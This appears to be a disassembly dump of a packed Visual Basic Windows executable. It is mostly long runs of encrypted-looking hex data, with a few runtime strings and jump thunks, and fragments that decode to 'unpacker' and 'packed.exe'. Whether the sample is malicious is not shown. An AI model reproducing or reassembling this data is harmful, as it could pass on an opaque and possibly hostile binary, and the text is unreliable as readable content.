0B302FBA2h, 0E562E118h dd 0EFE26D28h, 59003D88h, 0FCA5DC11h, 0B608E8ECh, 24A1D81Bh dd 0EFE23B67h, 0D03F7CC7h, 0E20E8753h, 0A7DE29E7h, 0F17849C0h dd 0CB02B34Ah, 85331D22h, 0E2D94B08h, 0FF60ABF7h, 5A977861h dd 9BD01887h, 0AB68E564h, 0BF7E293h, 939A57D4h, 0AFFAF7E2h dd 7F36C564h, 0ED5C99E4h, 7CAAB270h, 8BC914FFh, 565E886h dd 0C6246732h, 9B00000Ah, 23CA5164h, 0AE55DCEBh, 3DE46B52h dd 0C66DF4CBh, 61FB823Bh, 8C35D072h, 18AD5E05h, 0A510EA91h dd 2F86771Eh, 850271A8h, 0EFE271C8h, 0D5BBEF28h, 571AB2Ch dd 0F330D2DEh, 0E228CD86h, 6E5E07E7h, 0FEFACA12h, 2E7948C0h dd 0CD024AF1h, 0B96E1796h, 82B597D9h, 8A47C4FBh, 0EAE7E24Bh dd 0C4F5629Fh, 2CDFE21Eh, 9BE35AE1h, 59B22F66h, 0F1E7E274h dd 71886FA6h, 0FB12B940h, 78C02FCAh, 0D4250C43h, 0B231A0DDh dd 3D3F709h, 0A01DFFF7h, 0F7E314E3h, 70ADF843h, 0E2E82F03h dd 5F96E1EFh, 0C48637E0h, 7FD28FF2h, 23926B42h, 0AD04F59Ch dd 3B26DD12h, 0E0287FE3h, 41F774ABh, 0B3877D33h, 36D1E814h dd 0C962A0EBh, 0FF8D6462h, 9F7F134h, 956A0000h, 1AF29920h dd 817D24ABh, 0FA0CB33Ah, 68953CC3h, 2330CA51h, 0D45B629Fh dd 60E7DE2Dh, 0ED7443B9h, 77FEB746h, 9754D140h, 0F7EFE271h dd 5D9D8ABEh, 0DAB29E0Ah, 4691BA9Dh, 375B660Fh, 0A2616095h dd 4879F665h, 92DFE256h, 133B0DE9h, 0E2D3D996h, 8DEE39EFh dd 4A870115h, 0CE77AEF9h, 0AE0872E8h, 790ACAFAh, 0B01DBEEEh dd 0D2B92865h, 5C038A3Bh, 0A7914ADh, 6F568DC2h, 7CEB289Fh dd 0E2CDA2FFh, 0FCA524E7h, 0D6E8C78Ch, 46033835h, 5EF7E35Ch dd 5FF9E23Fh, 6DB8D112h, 2FCB936h, 115CF7E4h, 13883D4h dd 14BCE31Ah, 33C2D0B6h, 0C36AF13Ch, 0C5447B4Ah, 0E3DA8B48h dd 0BC4CEBF7h, 0AA7DBA05h, 87BEF33Bh, 0E3AD6E0Ah, 8EC510EFh dd 0D85F56A7h, 6995D831h, 376C0752h, 0FFE4307Eh, 0CC033880h dd 0E403DA4Fh, 5FAB4AF7h, 9C737C52h, 3D884C36h, 25D4BBF2h dd 0AF5E058Ch, 0CC0C7B16h, 66AF588Fh, 0FAD1C24Eh, 481F02Dh dd 0FFE4E6ABh, 0EE5DF843h, 0BD3A71AEh, 177F75F7h, 873ECA69h dd 55A011E8h, 6221FE17h, 9CDFAA3Dh, 8C9h, 0C74E6798h, 52D9E820h dd 0E1685FABh, 6AF1C43Ah, 0F87F46C3h, 30CD755Eh, 0A05B0289h dd 15E78E15h, 85741BA2h, 0FF6EA52Ch, 0E273C582h, 0B8EC25EFh dd 1CD956D5h, 7CE7E217h, 0EC1DF431h, 629B3AD5h, 0C7351C53h dd 0A11E55F0h, 0E7E216E4h, 71AEF944h, 4A31A09Eh, 946706BFh dd 0BE89E421h, 28AF06F7h, 503D46EDh, 0E7BD7h, 2D140000h dd 0FE49E4DBh, 0B7C995C1h, 0A5000004h, 0ADEDB6F8h, 1EBC3970h dd 0C0EF7C1Dh, 74DF4475h, 7EC2E76Ch, 4DCA013Eh, 0CA820F1Fh dd 7549BA63h, 568EE0AFh, 0D729C819h, 8BFA95E0h, 5AD70E43h dd 0D2774864h, 6D548BD6h, 0F79E259Ch, 0E71AF06h, 0FAF86263h dd 807EC2Fh, 0A55A0000h, 2AE28910h, 916D149Bh, 0AFCA32Ah dd 78852CB3h, 3320BA41h, 0C44B728Fh, 50D7EE1Dh, 0DD6453A9h dd 67EEC736h, 8744C130h, 0E7EFE274h, 9C6D7AAEh, 418C3BD1h dd 0D7FA07A6h, 0E2169D5Ah, 318477E7h, 0E7324B96h, 0EFD6159Ch dd 0FF999019h, 9ECB90FBh, 0C6DB853h, 7E082FECh, 0AC53905Fh dd 7BF82F6Ch, 0DFE247D8h, 5D063D88h, 0F16E70E8h, 0EFE28C34h dd 3AE84994h, 68D7141Bh, 0B2398881h, 936FF20Bh, 0C3AAE12Ch dd 6F427F46h, 7F3CB938h, 0DFEFE2FCh, 68B05794h, 7DFC33h dd 0EFE2FC43h, 0AC1B58A3h, 0E2CFD22Fh, 916D54E7h, 7448F2Ah dd 4D346BB6h, 0E7CE05BCh, 0A2619E11h, 7CB302FBh, 0DFE6995h dd 87D26DB8h, 2DD8774Ah, 6B2B5694h, 0AD5029Eh, 730C7h dd 0E7DE3100h, 7241B960h, 1B844EBh, 8A3DD37Ah dd 18A15C03h, 66ECF791h, 0F49B229Bh, 8027AE07h, 0DB43B8Ah dd 73EC5FCh, 755E1B98h, 85BEEFE2h, 0D956D551h, 0E7E2171Ch dd 1724E15Eh, 3984E7E2h, 0AF6CE920h, 0FE7E216h, 953C79C4h dd 64E11855h, 0DFE1EA07h, 0A6255CA7h, 2DFF31FDh, 4784E012h dd 0F1289970h, 9F6EF30Ah, 0F540DB26h, 0BB52F9B8h, 0B8006F0Ah dd 0A1ECD32Fh, 103BED6Ah, 5AA5F77Dh, 6459D71Ch, 83C6911Dh dd 6A5h, 0EB724BBCh, 76FDB444h, 58C33CFh, 8E15A85Eh, 1CA31AE7h dd 14F19182h, 8C7F26ADh, 0F10BB239h, 61983FC6h, 2392C950h dd 0E275E9A6h, 0DC1049EFh, 1CD956D5h, 0F6E7E217h, 0CB16B104h dd 41FE7BB2h, 0A1E7E217h, 9D6C0B56h, 0F910E724h, 7F8E2DC8h dd 1720DD5Ah, 0E180E7E2h, 0B7029D24h, 0E786216Ch, 6A09A41Bh dd 8D8B269Fh, 0F4F26732h, 576E9E85h, 0D93471BCh, 0FFB6470Eh dd 39F63D78h, 7CBD750h, 0A7000000h, 281C9h, 9C6DA500h dd 0D31B8A25h, 58B3BE4Ah, 3C87D26Dh, 16CB8805h, 0E02BE7E2h dd 60DF5E95h, 0E21726E3h, 0FE3B86E7h, 0E1ED3491h, 289D4DFh dd 7813A25Bh, 14A15A41h, 1AF12E79h, 0D84FD6EFh, 0A7245B90h dd 0E7E2406Fh, 60477EC9h, 0EA9118A9h, 846BA213h, 59A43F76h dd 0AEA74AF8h, 0ADEA4374h, 6FAA3DAh, 3507F2CFh, 0C05B6AA3h dd 16ED2A75h, 0C837D2EBh, 97144B80h, 0FF7C65C9h, 9BE2206Bh dd 4D05650Fh, 5973F82h, 35CA0000h, 0BA52F980h, 21DD840Bh dd 9A6C139Ah, 8F59C23h, 83902AB1h, 34BB02FFh, 0C0477E8Dh dd 4DD4E319h, 0D75E57A6h, 0F7B431A0h, 57EFE276h, 9C6DEA1Eh dd 12EB8A25h, 0AF0A08A3h, 0D9E821E4h, 392C1752h, 0EA5D750h dd 81000000h, 0A81DEED5h, 0A85C20Dh, 153h, 1CEED5E6h, 86C30EA9h dd 29675EAFh, 129F50FEh, 2A7CBF8Ah, 37000005h, 0BF66EDC0h dd 4AF1784Fh, 0D98007BEh, 62099027h, 0FD971EA7h, 28916C16h dd 0B401FAA1h, 4174862Dh, 0CBFA13BAh, 219E0D44h, 0EFE27764h dd 0D5578BC4h, 68A518EEh, 0AE497891h, 2CC7FE0Fh, 0A508D32Eh dd 752D7BFCh, 0D54C77E0h, 12E445ADh, 0E0B7F4EBh, 722FAC29h dd 0D2E7E222h, 7AB53C87h, 0D75032C9h, 0D08h, 0D0C9E400h dd 0A5000000h, 0CAC9h, 5D9DA500h, 0EB6AE920h, 0E216B16Eh dd 89C611E7h, 0E1EDBF1Ch, 6D9841DFh, 3B938744h, 0EA756F5h dd 9AEB2873h, 0A6630EFBh, 0D839D41Fh, 0CF810897h, 95F641CEh dd 858D1261h, 75ACF7CEh, 6BC79F6h, 0D11CEFE3h, 0A52C194h dd 0F23D8481h, 1FCC3EBBh, 0EB36F77Dh, 644978ADh, 0F639041Dh dd 459h, 37BEF708h, 0C2497890h, 51D8EF1Bh, 0DA6154AAh dd 68EFD633h, 0C03DC5CEh, 30CB72F9h, 0A557FE85h, 15E48B12h dd 6FDE159Ch, 0E27835F2h, 285C95EFh, 0E9205D9Dh, 80BD0802h dd 0D3F99411h, 4E99EF7Bh, 0D6D53017h, 0EF40FFD0h, 97D41F10h dd 0FEC54128h, 28803A77h, 0A554EFDCh, 22DE850Ch, 0E2C9009Bh dd 0B5009B2Ah, 3EFFD78h, 9DD90000h, 6CE9205Dh, 0DFE1ED0Fh dd 5AC964AFh, 29A6DD12h, 0F77C85B7h, 3398D621h, 0E51D652Fh dd 3CBD71Ah, 61960000h, 0EE1EC54Ch, 5DA950D7h, 0C638DF66h dd 44C168EFh, 775CF67Dh, 873ECBh, 8C13A259h, 19A017E5h dd 0A32A9B72h, 0C380FD6Ch, 23EFE278h, 5D9DB6EAh, 0C16AE920h dd 0A7779873h, 0F40AA996h, 9EDB26C1h, 0E294D031h, 0F62D78DFh dd 0E2B1FE0Fh, 0BEB046A3h, 2BD40B56h, 0DB069CB2h, 9225D70Bh dd 2E42E647h, 60D8EEAEh, 4CBD6423h, 42BF3E75h, 0EFE23185h dd 318D4AC7h, 0A2EDEFE2h, 2E013E89h, 12EE7FBFh, 7AC510ABh dd 17AE5C43h, 85F4317Ch, 0EEED1F06h, 0E230B471h, 7EC914EFh dd 408D441h, 5FAAE7E2h, 0F9C84128h, 8332CB72h, 0FC3179E8h dd 9D8A48C5h, 0A1ECFF7Ch, 65C86263h, 98DBA605h, 309h, 870EA758h dd 129928E0h, 0A1289F6Bh, 2AB104FAh, 0B83F8683h, 708D351Eh dd 0E01BC249h, 55A74ED5h, 0C534DB62h, 0BF2E65ECh, 0E2798542h dd 78ACE5EFh, 0BC399C6Dh, 0E7E216FFh, 2EC9145Fh, 10477E8Fh dd 48E3D229h, 8A01C0FDh, 0E7A42142h, 47E7E216h, 16D69310h dd 0EB36E7E2h, 9F1E55A0h, 16E6A320h, 0A746E7E2h, 0DB18635Ah dd 7C31686Eh, 0F48FDAEFh, 0DC4106BFh, 5D2893EFh, 0AA133F04h dd 4392D0h, 9D6E0000h, 6AE9205Dh, 0FF3C8B83h, 7C1F6092h dd 0B02DACEFh, 0EFDC2EF3h, 7ACB0853h, 0DE5D942Fh, 0DC2EA461h dd 35887EEFh, 0EB364F9Ah, 6A05BC4Ch, 0BC75E21Fh, 49EFDC2Eh dd 75BE13DEh, 4CD0AA25h, 0D4h, 0D19C6D28h, 552C8D34h, 0A7D9AFC7h dd 0CA69044Fh, 4CEB863Fh, 0CA6904BDh, 0BEFB8233h, 0E7E244D7h dd 2A6150A9h, 45712EABh, 86D1E7E2h, 2AE38A49h, 0A203BA47h dd 99B42274h, 23BE09E9h, 0CE4B74B4h, 0E7E22811h, 8F36D271h dd 45C2F944h, 0EF7C3C0Bh, 1C931A65h, 523289DCh, 0CCD1EE46h dd 9FEA853Ch, 55D20954h, 0F7715F15h, 54FD347Fh, 18358DDBh dd 0DE4D8AEBh, 2CB30AF7h, 3417885h, 1D68A2CCh, 0BE2E713Ch dd 0A3000001h, 2BD2596Ch, 0B65DE4D3h, 45EC734Ah, 0CE75FCB3h dd 69038A33h, 942DD87Ah, 2095660Dh, 0AD18F299h, 378E7F26h dd 8D0A79B0h, 0EFE27AD0h, 6DC3F730h, 8D24D590h, 0D9240B42h dd 5BA645E0h, 1BDA1762h, 0F52C8574h, 2BC6FF0Eh, 0E8E4A3E0h dd 0E9205D9Dh, 76C9C16Ah, 3E4EB82Dh, 0E2C604C1h, 0CE1964E7h dd 0CEF22491h, 115CEF7Ch, 0DF884176h, 9615EFDCh, 0D16C53AFh dd 23EE4986h, 0AAF565CEh, 0B45CD0h, 6D380000h, 0EB8A259Ch dd 0D70CA71Eh, 0E7E21BF0h, 437A4BC2h, 0D613AA5Ch, 0D4997017h dd 0A8438E27h, 36A6F139h, 96882CFh, 7B245BA6h, 0A4047114h dd 3AA9E6F9h, 7D2483BDh, 9740BFEFh, 0B61D4BFDh, 16D30860h dd 76EFDDA0h, 529DEE2Bh, 0D71454CBh, 0ED3E23A0h, 0A3EEF771h dd 4178856Ch, 0CFF613BAh, 67380491h, 0B2F5C01Dh, 0D1h dd 0BF467F90h, 4AD1E018h, 0D96067A3h, 62E9DC32h, 0F0774EBBh dd 38C54D56h, 0B853FA81h, 2DDF860Dh, 9D6C139Ah, 0F7669D24h dd 0E27BBD7Ah, 0B0E41DEFh, 0A229906Dh, 0AD5F02FBh, 95347F1Ah dd 6AB55067h, 0B01E81Fh, 99D621BCh, 9C6DDEDAh, 12EB8A25h dd 65A51CA3h, 8B72F128h, 9A074473h, 0DFE1E9D2h, 0E786216Ch dd 8BF4B16h, 4EF736BDh, 4191CE77h, 0A77EBBFFh, 8DC45F56h dd 26635AA6h, 5888ADB9h, 0F5C0DB3Ch, 6D54B198h, 11A05930h dd 472AE38Ah, 0DE9B18BBh, 3E4C810Ah, 0C20DA8F3h, 0CB3DDC77h dd 0E1FC59F4h, 0B3BE4F16h, 0EC236E59h, 0EB7E0F43h, 54201CCh dd 0F45E0746h, 22903451h, 9232B112h, 63422396h, 7BE4F26h dd 3296Ch, 0DA050000h, 239A6DB6h, 0A110E988h, 22956706h dd 0A213E887h, 249D6807h, 0A61FEA89h, 239A6C0Bh, 0A61DE988h dd 259C6C0Bh, 0C968FA8Ah, 89000071h, 0A468243Ch, 8900003Eh dd 868241Ch, 8900002Fh, 5351242Ch, 5771BBh, 5BD98908h dd 5459CB89h, 83242C8Bh, 0B85004C4h, 8, 854A732Dh, 5E8016Ch dd 6C854A73h, 8B581889h, 8951242Ch, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 2434FF5Ch, 4C4835Bh, 0FAEE9FE9h, 0A8A21CFFh dd 6619B897h, 0C5030800h, 3A09E0FFh, 5FEB2C01h, 0E2F8101Eh dd 86A757BAh, 24EA623Dh, 0C27548FCh, 97103BDh, 44A85F20h dd 0EDDC0AAAh, 347942B3h, 595D7236h, 15257D89h, 0A32B2046h dd 12E81529h, 2D000000h, 0CF6D753Eh, 0EF4C9E79h, 0F03F36D2h dd 0A1895216h dd 0CE816667h, 665A307Fh, 0AD38E081h, 6C16C281h, 0CE80000h dd 0E8000000h, 14E402BAh, 0EE3729F7h, 66C16E83h, 63EC881h dd 0E56DBB58h, 0C3810257h, 0FDA8356Ah, 880F50h, 58000000h dd 8E0F0A8Bh, 4, 0EA04BF66h, 0B488C181h, 0C28B3BECh, 70A1C181h dd 0BF0F74BBh, 0B0C181F2h, 0F3E53CCh, 589h, 1A09BE00h dd 605113DDh, 0C850Fh, 7E90000h, 6B000000h, 0E3EE57C5h dd 10E95490h, 0DD000000h, 0D0536650h, 0AEB82D8Fh, 4BE88E07h dd 6139D52Fh, 8150028Fh, 0CFC824EEh, 0EA835F62h, 1EB8304h dd 0FF92850Fh, 0B70FFFFFh, 161E9C0h, 2B7B0000h, 60DD41E9h dd 3A437C83h, 755F6D5Ch, 6361706Eh, 72656Bh, 6B636170h dd 652E6465h, 6578h, 3Ah dup(0) db 0 align 2 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 align 4 dd 0E9000000h, 1A85h, 6AAC68h, 15FEE908h, 0B668FFFAh, 0E908006Bh dd 0FFFA15F4h, 6CA768h, 15EAE908h, 6568FFFAh, 0E908006Dh dd 0FFFA15E0h, 6DA468h, 15D6E908h, 8968FFFAh, 0E908006Eh dd 0FFFA15CCh, 6EF068h, 15C2E908h, 4868FFFAh, 0E908006Fh dd 0FFFA15B8h, 761468h, 15AEE908h, 0A568FFFAh, 0E9080076h dd 0FFFA15A4h, 775068h, 159AE908h, 1868FFFAh, 0E9080078h dd 0FFFA1590h, 78A368h, 1586E908h, 6C68FFFAh, 0E9080079h dd 0FFFA157Ch, 79EF68h, 1572E908h, 7568FFFAh, 0E908007Ah dd 0FFFA1568h, 803F68h, 155EE908h, 5068FFFAh, 0E9080081h dd 0FFFA1554h, 81E668h, 154AE908h, 0C650FFFAh, 1DF5A2D8h dd 779E4B81h, 0CB44F127h, 21F09DD3h, 5E13477Dh, 0CC029C75h dd 73A9F51Fh, 1E544AC6h, 0C6FCA271h, 20839FF7h, 4607E6ECh dd 6CA729E0h, 0D142A732h, 533697CDh, 0C7617D0Dh, 0DB07E0ADh dd 6BD4CA46h, 0AD4DB4E0h, 0D65707E0h, 19F84D1Ch, 0D70FDF85h dd 75406EB4h, 37h, 0CA96F306h, 9C501E3Ah, 0F54E07E0h, 0FAF01A6Ah dd 38F3DC3h, 62C93DE3h, 6C07E0FDh, 0D6231EBh, 0E40D9806h dd 0EDEFAA6Ah, 0B85E720Ah, 6F77B0E8h, 0C34E40h, 0A7DF0000h dd 42A7326Ch, 0DF44CFCFh, 8FDF6A34h, 1DC3DB3Ah, 0C5FBA370h dd 6ED1ED2Dh, 94FFE683h, 8B13FFh, 54C86ED7h, 0FFE68739h dd 59BCD818h, 87FFE687h, 138B892Eh, 4B53C06Dh, 0F3AB6815h dd 263A4F68h, 0A7DC7A96h, 0B10A07E0h, 0F16F1A7Bh, 89024561h dd 0D7300FDDh, 431FF247h, 1C45D0CEh, 41D07DB3h, 20289F5Dh dd 0F02B9998h, 181951h, 0DBC35300h, 841AF8A5h, 2A74A14Eh dd 0D6C847F4h, 801EF3A0h, 7A61164Ah, 24D10797h, 0CB78AEF0h dd 76235945h, 0FCCB019Dh, 0ED2588A4h, 0E54B07E6h, 346AA72Eh dd 0A2C04FA4h, 7DA6316Dh, 0BA608914h, 5A44CF7Ch, 0DD9A75CAh dd 0E6835EC1h, 0C22B84FFh, 2A680E37h, 8E96F373h, 668F1A84h dd 83516DFDh, 9F07E09Bh, 288FBB46h, 3207E09Bh, 0B8F0F7B1h dd 56406EA7h, 0E0h, 326CA7E7h, 0CFCF42A7h, 87FD1844h, 0D43FFFE6h dd 0F5103ACAh, 21EF3876h, 0C75F9D43h, 1B086B87h, 0D52EFFE7h dd 0D191822Fh, 6AF55E40h, 0E5013851h, 0FFE71B82h, 0ABC757B0h dd 0FFE71B48h, 1CAC156Eh, 0E13C6200h, 0E4008007h, 7E13B81h dd 271245AFh, 51EDFD55h, 0E8497FE8h, 52FBFA1h, 0DC5D1F1Ah dd 0F28A3030h, 184088B2h, 37E90A83h, 0E0E2B81Bh, 1C85DE07h dd 0C1AE0276h, 23B80FDDh, 0B343ACF2h, 0B5EBB35Eh, 0D7950908h dd 999866F6h, 0F7F1E59h, 5D000017h, 2AFE5B9h, 0AB588E10h dd 51FE346Ah, 0FDAAE0BEh, 20548A14h, 118D846Bh, 0B8E62EDBh dd 633BD582h, 0B93802Dh, 92AE06D5h, 7E6EE2Fh, 0BC38EF55h dd 661A2392h, 0B258CD04h, 0BA560C05h, 0CED03FE4h, 8F80D565h dd 7E2B690Fh, 1CD30995h, 35F792BCh, 0A6A2523Ah, 0DEC05300h dd 59B90E4Eh, 9B76D945h, 0DA38FFE6h, 0CF1039C4h, 0D83DD076h dd 0CC2D633Bh, 0E913A3BDh, 0D82AA3E7h, 3ABD1BC5h, 6849711h dd 0BCE233D8h, 0CA620831h, 0E123F4AEh, 0D23DD207h, 0B5E927CCh dd 0D98012Ah, 0E0DB7AE1h, 49038407h, 6EE30A42h, 9DA840h dd 7B390000h, 90D0B963h, 89E2E400h, 77D007E0h, 3141D63Ah dd 5633DC7Bh, 8C5E7A0Ah, 9ADB4144h, 0EC9DB641h, 0B3877063h dd 2D960142h, 9DF7819Dh, 92EBDC7Eh, 3866AD02h, 0E0BE5502h dd 0F932B122h, 0C05F9A4Ah, 161Eh, 0A0D6C84Eh, 497F1FF3h dd 0EF25799Ch, 9BD1CD42h, 457B23EEh, 9E735C11h, 0F71DCA00h dd 4CC471A7h, 0A46F1C52h, 9DF5C4FAh, 0E6EF1E81h, 27DE4407h dd 0EF0B6CA7h, 0FFE6838Ch, 68F861BAh, 98ED553Eh, 45EB6897h dd 60D62B2h, 0F891F298h, 2BCD868h, 0E007E187h, 7B9A5187h dd 0ED428263h, 0C5EE7925h, 0E682F659h, 1DC31CFFh, 506CCDBCh dd 0FFE682EDh, 0C151BA13h, 4FF5A96Ch, 89999BB7h, 0E43D07E0h dd 84D243A7h, 8DFC8F09h, 0BB247A97h, 0A03D0F2Bh, 106988B3h dd 431D6C85h, 30D97B3h, 4998F0Dh, 1B4B7C11h, 2AF4D68Eh dd 73C858C1h, 1BC8FEA0h, 0F5E8A6F8h, 56194B8Dh, 15607C1Bh dd 0A0C0000h, 61B15E94h, 0BB5A073Dh, 0F00ADE3h, 65AC598Fh dd 1ACF0339h, 88BEE031h, 2F6539DBh, 0DA108E82h, 82B8E62Dh dd 0DC3F5BB3h, 0A07E6F0h, 6CA7EDA4h, 0E66B7432h, 9DD8999Eh dd 1521FEh, 0D3CB4B00h, 7C22F09Dh, 227C9946h, 0CED03FECh dd 7826EB98h, 72590E42h, 1CC9FF9Fh, 0C370A6F8h, 6E1B514Dh dd 0F4C3F9A5h, 0F01D809Ch, 0DD4307E6h, 326CA726h, 65FB8EA7h dd 0A663B9D5h, 166F07E0h, 0C21A5C86h, 8440305Dh, 0BEC7A0DEh dd 5BEB7514h, 0BC580A06h, 0C5EE79E2h, 3A9F520h, 3F4D4F6Bh dd 0D52A0FDBh, 0E7C7503Dh, 0DE838A0Ah, 5A44D075h, 0AA016BB4h dd 2BEAED1Bh, 0F045D53Eh, 0D6395522h, 0FCFFE725h, 4F943AA3h dd 8FDDD6EBh, 0B75CB19Ch, 0D83B57E7h, 0FE9C8E9Dh, 0EB9EFFA5h dd 2EBBE575h, 0BD871BAh, 0D2EE862Ch, 0A4892600h, 2942CD26h dd 54700060h, 0A336C8CAh, 0CFCF43D8h, 22B21B44h, 26D0B8E2h dd 891B3513h, 0C1DD36E3h, 72D5F131h, 0A09C9614h, 0B663A147h dd 7283415Dh, 0DD053177h, 143C03A2h, 0E6300000h, 3DD582B8h dd 977E2B61h, 0EB24D107h, 41D07DB3h, 3EF3275Dh, 0ACE2BC55h dd 538915FFh, 0FE346AA6h, 0A6DCC251h, 637FD7h, 2607E6F1h dd 7DE009C0h, 54FFE683h, 8395F814h, 62BBFFE6h, 92E148BCh dd 7DE4FFE6h, 5CFFE6A3h, 839D001Ch, 6AC3FFE6h, 82E950C4h dd 60B3FFE6h, 0E68B803Eh, 95D0999Eh, 13D5F6h, 1F7F9700h dd 0C8D63CE9h, 6E30E592h, 1A848B38h, 0C4DA37E4h, 0BEA55A8Eh dd 68154B53h, 0FBCF2ACh, 0BA679D01h, 400F4559h, 0F169CCE8h dd 319707E6h, 0A867BC7Ah, 9AEF50F6h, 301A36C6h, 0B607E098h dd 0A6EC634Ch, 5FB4C99Ch, 228BB43Fh, 0A60EFBB9h, 6419E64h dd 137D67h, 7727EF00h, 207E9441h, 0C6D83DEAh, 722CE390h dd 1C828F3Ch, 16FDB2E6h, 0C06DA3FBh, 67144A54h, 12BFF5A9h dd 98679D01h, 0F2C12440h, 89EF07E6h, 607CBCD2h, 0FFE682FDh dd 7724CA23h, 1277029Ch, 14129D01h, 0DA1AE9A3h, 0E6835BBEh dd 8A3089FFh, 748B82BAh, 1F2038h, 0E0B10000h, 0FFE68379h dd 98CED043h, 42093C24h, 0A7F78200h, 3CE1BD52h, 3920C6D8h dd 1306h, 326CA7D2h, 65FB8EA7h, 0E7BDABD5h, 0E16BCEEAh dd 4099FFE6h, 827C2EC6h, 462844DCh, 6C07E18Ch, 26598313h dd 822E692Eh, 3D9EDC82h, 5A84144Ch, 1EEB5AA8h, 34CC72E9h dd 0DAFA8A18h, 34BF180Fh, 153146CFh, 0FFE6CBB2h, 8E1E87E0h dd 1DC3DB39h, 1DF247DFh, 27CDF681h, 0E6CB4DB3h, 65FD15FFh dd 4069F4AAh, 0CB3194B0h, 65FFFE6h, 58BA679Dh, 0BC56BB46h dd 0A3B57E2h, 0F8A66C50h, 0D7BAF2C2h, 19583874h, 8000002h dd 0DBB398DEh, 13FC38E4h, 0C57C228Bh, 3ACA96F3h, 0E0A65C1Eh dd 2FE63B07h, 15BBE46Fh, 0ABE362CCh, 92FA3E26h, 0F383E602h dd 58B107E0h, 90A5FEFh, 0F75CEF95h, 0A04D831Bh, 86E90572h dd 0AC07E0F3h, 335FEA53h, 7E103CCh, 0D8BC76B7h, 0CD2E643Ah dd 0F814A4BCh, 0FDAE47Ah, 1F840F68h, 0C976ACF2h, 0A3FB1A48h dd 1E83AF3Ah, 5FFE6E3h, 0EE516DADh, 14FFE6E2h, 0DA9415BBh dd 3F5FB60Bh, 38E58BB4h, 0F78FC5D9h, 0E3389BB7h, 16FAFFE6h dd 93D4FD88h, 227C953Ah, 67C86E97h, 92AE3E22h dd 7E1181Ch, 0CB2E4ACAh, 9507E0D7h, 7099247Ah, 0E26DD62Fh dd 0D208967Dh, 702EE53Ah, 0A8F61DCAh, 0D78EF11Dh, 307107E0h dd 1D819276h, 0C6D83AE7h, 263CD63Bh, 0C04BB4EAh, 1C5CA4h dd 7E0D79Dh, 43C46AC3h, 316DA589h, 0E2F32BFBh, 0AC91406Eh dd 22000000h, 47236AA7h, 2C028AEAh, 0FD62ED56h, 78396314h dd 3284BB27h, 2B096CD8h, 0DE37FFE7h, 86CEEA75h, 40BAE431h dd 378CBB49h, 64E58B39h, 534BC6AAh, 3A154D1Dh, 70B33875h dd 44000000h, 0FD607CBCh, 23FFE682h, 9C7724CAh, 0E7277702h dd 0E68368CBh, 8F358EFFh, 0E26D31E2h, 810C927Dh, 1EA9F51Ch dd 1A9638Ch, 11D5DA5h, 0FFE6839Eh, 44C56BC4h, 316DA68Ah dd 8AF32BFBh, 2C913874h, 22000000h, 3ACA96F3h, 0E0B8A81Eh dd 52DD3607h, 0E0B7BF26h, 138B8907h, 0B1ED2388h, 0F1ABD426h dd 0A963E449h, 6EBF6AA2h, 7E0840h, 0BC990000h, 6AF5A967h dd 4F3A9B41h, 0F658111h, 0EC07E0B8h, 7A207E97h, 2B739C31h dd 830E77A0h, 74D7F333h, 0A207E0B8h, 1CF6A349h, 739F4C82h dd 0D73BA02Bh, 0EF203CC7h, 0DDC15135h, 0C49FD7A7h, 2C3D406Eh dd 0CE000000h, 37C799F3h, 0E683981Bh, 5AE53E7Fh, 0E683C72Eh dd 813B647Fh, 31C1A3E9h, 0E6819215h, 57E740FFh, 0EB910D02h dd 0EC6ADh, 0BC5F0000h, 66F1AD67h, 41B0973Dh, 49000000h dd 0A5306EA7h, 96CCD240h, 0EA7529E9h, 16A6BED1h, 8357BAD6h dd 0F919FFE6h, 0B0F11AA5h, 7844DD57h, 9F774B87h, 0D23A66F9h dd 0F0FFE770h, 76AEB56Fh, 5D3873A1h, 7920C08h, 0F95738DEh dd 0E800000Ah, 0FD607CBCh, 23FFE682h, 0B1ED25CAh, 0F657FD26h dd 1844CF99h, 8991B82Ch, 2D4FE96h, 0B0132FDCh, 0D68991D5h dd 0FF07037Dh, 1DA8F61Fh, 64E58BF4h, 6BA3AAh, 4009C220h dd 9A000000h, 0FD607CBCh, 23FFE682h, 49D550CAh, 0DB098718h dd 0B1BBD435h, 2A20521h, 77D0FFE7h, 0CFFFC0ECh, 40C1A95Ah dd 358DB786h, 0DAC44D3Fh, 0FB91E360h, 7A208915h, 0E79772AAh dd 25710E1h, 0F3A10000h, 0DA15C49Ch, 900E055Ah, 7F36DC05h dd 1AF66CA7h, 22C4DF73h, 4FB82364h, 1C40A3BFh, 0D66FFE7h dd 680FF5A4h, 0F0AE67BCh, 83327A4Ah, 4DD03774h, 80000000h dd 2CB7E72Bh, 0B87C8F2h, 9F084BB4h, 9CF342F9h, 0A0BC15C4h dd 0FFE6833Ah, 0BC600F68h, 306EA75Dh, 0D6C84BA0h, 6F2FE64Bh dd 0AC52BBE4h, 0BC4AA9F5h, 62F2AC67h, 0E682E346h, 12B811FFh dd 362Bh, 838EE300h, 36C32DFh, 0F2A94F78h, 15C49CF3h, 833AA0BCh dd 2D46FFE6h, 0D992BC7Eh, 4AE71C5Fh, 9EFD953Bh, 0A0306EA7h dd 82E14460h, 7A0FFFE6h, 0F79D0698h, 0E04AA940h, 9C34F737h dd 132F48C9h, 9C34F6B0h, 0DE147DD6h, 4ABCE231h, 0A8315CB5h dd 33F7EB5Bh, 0DB70E24Bh, 79DE6935h, 1F78039Bh, 0F842CE6h dd 23F0D48Eh, 0A2C1EB7Bh, 7AA1E518h, 6D0A4FF5h, 0F53BCA6h dd 0A9349D01h, 25A51780h, 40D4FDFBh, 52F809A4h, 0A7102179h dd 580A09EDh, 335CE7B7h, 23F08DCAh, 5F89097Bh, 2DA38E60h dd 2EDB8137h, 3052B8E3h, 27809C35h, 78B850B5h, 22ADF123h dd 302A8DF9h, 0FF589C35h, 3A1ED859h, 0EB88C5D9h, 5CED7826h dd 0EBA5E60Dh, 5E940A07h, 0FDA171C6h, 3569AA57h, 0B8E32EC3h dd 9C353052h, 68B52780h, 7A997D37h, 0D13F9424h, 731942CDh dd 957CA62Eh, 20CD883h, 60DBA60h, 61B30898h, 227C983Dh dd 2D82027Ch, 0E2ABAE4h, 9C34FBABh, 1DA80D9h, 0EFA912A6h dd 5996080Bh, 0B74757BCh, 0F0CDAD8Dh, 6F154AC1h, 754B75F5h dd 295FB875h, 0B1600DB3h, 95167BEDh, 821CF7DBh, 6CA79E45h dd 3BDA8332h, 